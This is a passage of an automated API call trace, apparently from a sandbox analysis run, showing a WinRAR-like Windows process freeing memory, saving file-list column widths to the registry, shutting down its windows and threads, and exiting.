returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100be0 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100710 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fbe50 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100320 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc60 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100010 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fc450 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdf0 | out: hHeap=0x28b08430000) returned 1 [0069.478] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08517360 | out: hHeap=0x28b08430000) returned 1 [0069.478] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08518430 | out: hHeap=0x28b08430000) returned 1 [0069.478] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0b92b040 | out: hHeap=0x28b08430000) returned 1 [0069.481] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08507350 | out: hHeap=0x28b08430000) returned 1 [0069.483] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08502740 | out: hHeap=0x28b08430000) returned 1 [0069.483] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08506280 | out: hHeap=0x28b08430000) returned 1 [0069.483] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0b81e040 | out: hHeap=0x28b08430000) returned 1 [0069.485] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ee0e0 | out: hHeap=0x28b08430000) returned 1 [0069.485] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d69d0 | out: hHeap=0x28b08430000) returned 1 [0069.485] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6390 | out: hHeap=0x28b08430000) returned 1 [0069.485] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb270 | out: hHeap=0x28b08430000) returned 1 [0069.485] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6dd0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb450 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084faf70 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6310 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb2a0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d50 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb2d0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ee0a0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6f90 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb300 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ee140 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb330 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb3c0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb1b0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb0f0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fafd0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edb00 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eddc0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edc40 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6bd0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6c10 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6c50 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edb20 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb120 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edb40 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb3f0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb150 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6c90 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb210 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb180 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edb60 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6690 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb4b0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edb80 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edf80 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6cd0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb1e0 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edd60 | out: hHeap=0x28b08430000) returned 1 [0069.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6490 | out: hHeap=0x28b08430000) returned 1 [0069.487] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08504770 | out: hHeap=0x28b08430000) returned 1 [0069.487] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fe2e0 | out: hHeap=0x28b08430000) returned 1 [0069.487] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ff3b0 | out: hHeap=0x28b08430000) returned 1 [0069.487] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0b70c040 | out: hHeap=0x28b08430000) returned 1 [0069.491] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08503810 | out: hHeap=0x28b08430000) returned 1 [0069.491] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bbff0c0 | out: hHeap=0x28b08430000) returned 1 [0069.492] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a1fbfd0 | out: hHeap=0x28b08430000) returned 1 [0069.493] SHChangeNotify (wEventId=4096, uFlags=0x3005, dwItem1=0xf00f8f9150, dwItem2=0x0) [0069.599] DestroyWindow (hWnd=0x102be) returned 1 [0069.610] DragAcceptFiles (hWnd=0x10246, fAccept=1) [0069.610] NtdllDefWindowProc_W () returned 0x0 [0069.610] NtdllDefWindowProc_W () returned 0x0 [0069.610] NtdllDefWindowProc_W () returned 0x1 [0069.610] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8f96e8 | out: ppv=0xf00f8f96e8*=0x28b084ec890) returned 0x0 [0069.611] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b084ec890, hwnd=0x102be, tbpFlags=0) returned 0x0 [0069.611] TaskbarList:IUnknown:Release (This=0x28b084ec890) returned 0x0 [0069.611] GetPropW (hWnd=0x102be, lpString="Done") returned 0x0 [0069.611] DeleteObject (ho=0x53007ce) returned 1 [0069.611] DeleteObject (ho=0x3007cf) returned 1 [0069.611] DeleteObject (ho=0x3007d0) returned 1 [0069.611] DeleteObject (ho=0x3007d1) returned 1 [0069.611] DeleteObject (ho=0x3007d2) returned 1 [0069.611] DeleteObject (ho=0x3007d3) returned 1 [0069.611] DeleteObject (ho=0x3007d4) returned 1 [0069.611] DeleteObject (ho=0x3007d5) returned 1 [0069.611] DeleteObject (ho=0x1007d6) returned 1 [0069.611] DeleteObject (ho=0x1007d7) returned 1 [0069.611] DeleteObject (ho=0x1007d8) returned 1 [0069.611] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8f96d0 | out: lpPerformanceCount=0xf00f8f96d0*=16094005803) returned 1 [0069.611] ReleaseMutex (hMutex=0x1f0) returned 0 [0069.612] IsWindowVisible (hWnd=0x10246) returned 0 [0069.612] DestroyWindow (hWnd=0x102ec) returned 0 [0069.612] DestroyWindow (hWnd=0x102ee) returned 0 [0069.631] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x1025a [0069.632] DestroyWindow (hWnd=0x10246) returned 1 [0069.632] NtdllDefWindowProc_W () returned 0x0 [0069.632] NtdllDefWindowProc_W () returned 0x0 [0069.638] SendMessageW (hWnd=0x102b8, Msg=0x1009, wParam=0x0, lParam=0x0) returned 0x1 [0069.644] GetWindowLongPtrW (hWnd=0x102b8, nIndex=-16) returned 0x54300249 [0069.644] SendMessageW (hWnd=0x102b8, Msg=0x101d, wParam=0x0, lParam=0x0) returned 0x78 [0069.644] GetLastError () returned 0x0 [0069.644] SetLastError (dwErrCode=0x0) [0069.644] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xf00f8fac78, lpdwDisposition=0xf00f8fac70 | out: phkResult=0xf00f8fac78*=0x2e8, lpdwDisposition=0xf00f8fac70*=0x1) returned 0x0 [0069.645] RegSetValueExW (in: hKey=0x2e8, lpValueName="name", Reserved=0x0, dwType=0x4, lpData=0xf00f8fb118*=0x78, cbData=0x4 | out: lpData=0xf00f8fb118*=0x78) returned 0x0 [0069.645] RegCloseKey (hKey=0x2e8) returned 0x0 [0069.645] SendMessageW (hWnd=0x102b8, Msg=0x101d, wParam=0x1, lParam=0x0) returned 0x50 [0069.645] GetLastError () returned 0x0 [0069.645] SetLastError (dwErrCode=0x0) [0069.645] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xf00f8fac78, lpdwDisposition=0xf00f8fac70 | out: phkResult=0xf00f8fac78*=0x2e8, lpdwDisposition=0xf00f8fac70*=0x2) returned 0x0 [0069.645] RegSetValueExW (in: hKey=0x2e8, lpValueName="size", Reserved=0x0, dwType=0x4, lpData=0xf00f8fb118*=0x50, cbData=0x4 | out: lpData=0xf00f8fb118*=0x50) returned 0x0 [0069.645] RegCloseKey (hKey=0x2e8) returned 0x0 [0069.645] SendMessageW (hWnd=0x102b8, Msg=0x101d, wParam=0x2, lParam=0x0) returned 0x78 [0069.645] GetLastError () returned 0x0 [0069.645] SetLastError (dwErrCode=0x0) [0069.645] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xf00f8fac78, lpdwDisposition=0xf00f8fac70 | out: phkResult=0xf00f8fac78*=0x2e8, lpdwDisposition=0xf00f8fac70*=0x2) returned 0x0 [0069.645] RegSetValueExW (in: hKey=0x2e8, lpValueName="type", Reserved=0x0, dwType=0x4, lpData=0xf00f8fb118*=0x78, cbData=0x4 | out: lpData=0xf00f8fb118*=0x78) returned 0x0 [0069.645] RegCloseKey (hKey=0x2e8) returned 0x0 [0069.645] SendMessageW (hWnd=0x102b8, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x64 [0069.646] GetLastError () returned 0x0 [0069.646] SetLastError (dwErrCode=0x0) [0069.646] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xf00f8fac78, lpdwDisposition=0xf00f8fac70 | out: phkResult=0xf00f8fac78*=0x2e8, lpdwDisposition=0xf00f8fac70*=0x2) returned 0x0 [0069.646] RegSetValueExW (in: hKey=0x2e8, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0xf00f8fb118*=0x64, cbData=0x4 | out: lpData=0xf00f8fb118*=0x64) returned 0x0 [0069.646] RegCloseKey (hKey=0x2e8) returned 0x0 [0069.646] KillTimer (hWnd=0x10246, uIDEvent=0xa) returned 0 [0069.646] RevokeDragDrop (hwnd=0x10246) returned 0x0 [0071.483] PostQuitMessage (nExitCode=0) [0071.494] NtdllDefWindowProc_W () returned 0x0 [0071.495] IUnknown:AddRef (This=0x7ff92fcdf3f0) returned 0x1 [0071.496] GdiplusShutdown (token=0x280000) [0071.501] OleUninitialize () [0075.587] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f74d0000 [0075.587] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f74d0000 [0075.588] FreeLibrary (hLibModule=0x7ff92e880000) returned 1 [0075.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0846c780 | out: hHeap=0x28b08430000) returned 1 [0075.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08434e10 | out: hHeap=0x28b08430000) returned 1 [0075.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08476bf0 | out: hHeap=0x28b08430000) returned 1 [0075.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08485d70 | out: hHeap=0x28b08430000) returned 1 [0075.591] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08478c50 | out: hHeap=0x28b08430000) returned 1 [0075.592] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08489d80 | out: hHeap=0x28b08430000) returned 1 [0075.592] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0848ddf0 | out: hHeap=0x28b08430000) returned 1 [0075.592] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08498550 | out: hHeap=0x28b08430000) returned 1 [0075.593] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084a2650 | out: hHeap=0x28b08430000) returned 1 [0075.594] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084a76e0 | out: hHeap=0x28b08430000) returned 1 [0075.594] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ac3c0 | out: hHeap=0x28b08430000) returned 1 [0075.594] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084aa310 | out: hHeap=0x28b08430000) returned 1 [0075.594] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084b8940 | out: hHeap=0x28b08430000) returned 1 [0075.594] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084b03d0 | out: hHeap=0x28b08430000) returned 1 [0075.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084bc950 | out: hHeap=0x28b08430000) returned 1 [0075.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08467b40 | out: hHeap=0x28b08430000) returned 1 [0075.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084c39c0 | out: hHeap=0x28b08430000) returned 1 [0075.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084c1820 | out: hHeap=0x28b08430000) returned 1 [0075.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084c79d0 | out: hHeap=0x28b08430000) returned 1 [0075.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a190080 | out: hHeap=0x28b08430000) returned 1 [0075.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084cb9e0 | out: hHeap=0x28b08430000) returned 1 [0075.597] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084e6480 | out: hHeap=0x28b08430000) returned 1 [0075.597] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8f30 | out: hHeap=0x28b08430000) returned 1 [0075.597] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0845d5e0 | out: hHeap=0x28b08430000) returned 1 [0075.597] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0844e570 | out: hHeap=0x28b08430000) returned 1 [0075.597] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08440b60 | out: hHeap=0x28b08430000) returned 1 [0075.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08450dd0 | out: hHeap=0x28b08430000) returned 1 [0075.598] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92e3f0000 [0075.598] GetProcAddress (hModule=0x7ff92e3f0000, lpProcName="GetCurrentPackageId") returned 0x7ff92e3f2b30 [0075.598] GetCurrentPackageId () returned 0x3d54 [0075.598] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0xf00f8ff9a8 | out: phModule=0xf00f8ff9a8) returned 0 [0075.598] ExitProcess (uExitCode=0x0) [0075.598] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0843bb40 | out: hHeap=0x28b08430000) returned 1 Thread: id = 50 os_tid = 0x388 Thread: id = 56 os_tid = 0x824 Thread: id = 58 os_tid = 0x4ac Thread: id = 59 os_tid = 0xef8 Thread: id = 61 os_tid = 0xf70 Thread: id = 63 os_tid = 0x9e0 [0063.100] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.106] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.106] SetEvent (hEvent=0x344) returned 1 [0063.106] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.108] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.110] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.112] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.113] SetEvent (hEvent=0x344) returned 1 [0063.143] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] SetEvent (hEvent=0x344) returned 1 [0063.435] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.223] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.439] SetEvent (hEvent=0x344) returned 1 [0064.439] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.983] SetEvent (hEvent=0x344) returned 1 [0064.983] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.432] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.581] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.984] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.348] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 64 os_tid = 0xb84 [0063.143] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.223] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.438] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.969] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.228] SetEvent (hEvent=0x344) returned 1 [0065.229] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.582] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.986] SetEvent (hEvent=0x344) returned 1 [0065.986] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.188] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.349] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 65 os_tid = 0xd6c [0063.143] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.439] SetEvent (hEvent=0x344) returned 1 [0063.439] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.232] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.443] SetEvent (hEvent=0x344) returned 1 [0064.443] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.987] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.433] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.597] SetEvent (hEvent=0x344) returned 1 [0065.597] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.988] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.189] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 66 os_tid = 0xeb0 [0063.143] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.439] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.233] SetEvent (hEvent=0x344) returned 1 [0064.233] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.442] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.988] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.444] SetEvent (hEvent=0x344) returned 1 [0065.444] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.600] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.003] SetEvent (hEvent=0x344) returned 1 [0066.003] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.197] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 67 os_tid = 0xe40 [0063.144] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.445] SetEvent (hEvent=0x344) returned 1 [0063.445] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.233] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.441] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.990] SetEvent (hEvent=0x344) returned 1 [0064.990] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.444] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.601] SetEvent (hEvent=0x344) returned 1 [0065.601] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.003] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.197] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 68 os_tid = 0xfbc [0063.144] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.442] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.234] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.441] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.985] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.434] SetEvent (hEvent=0x344) returned 1 [0065.434] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.598] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.987] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.189] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 69 os_tid = 0xe90 [0063.144] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.441] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.234] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.603] SetEvent (hEvent=0x344) returned 1 [0064.603] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.004] SetEvent (hEvent=0x344) returned 1 [0065.004] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.445] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 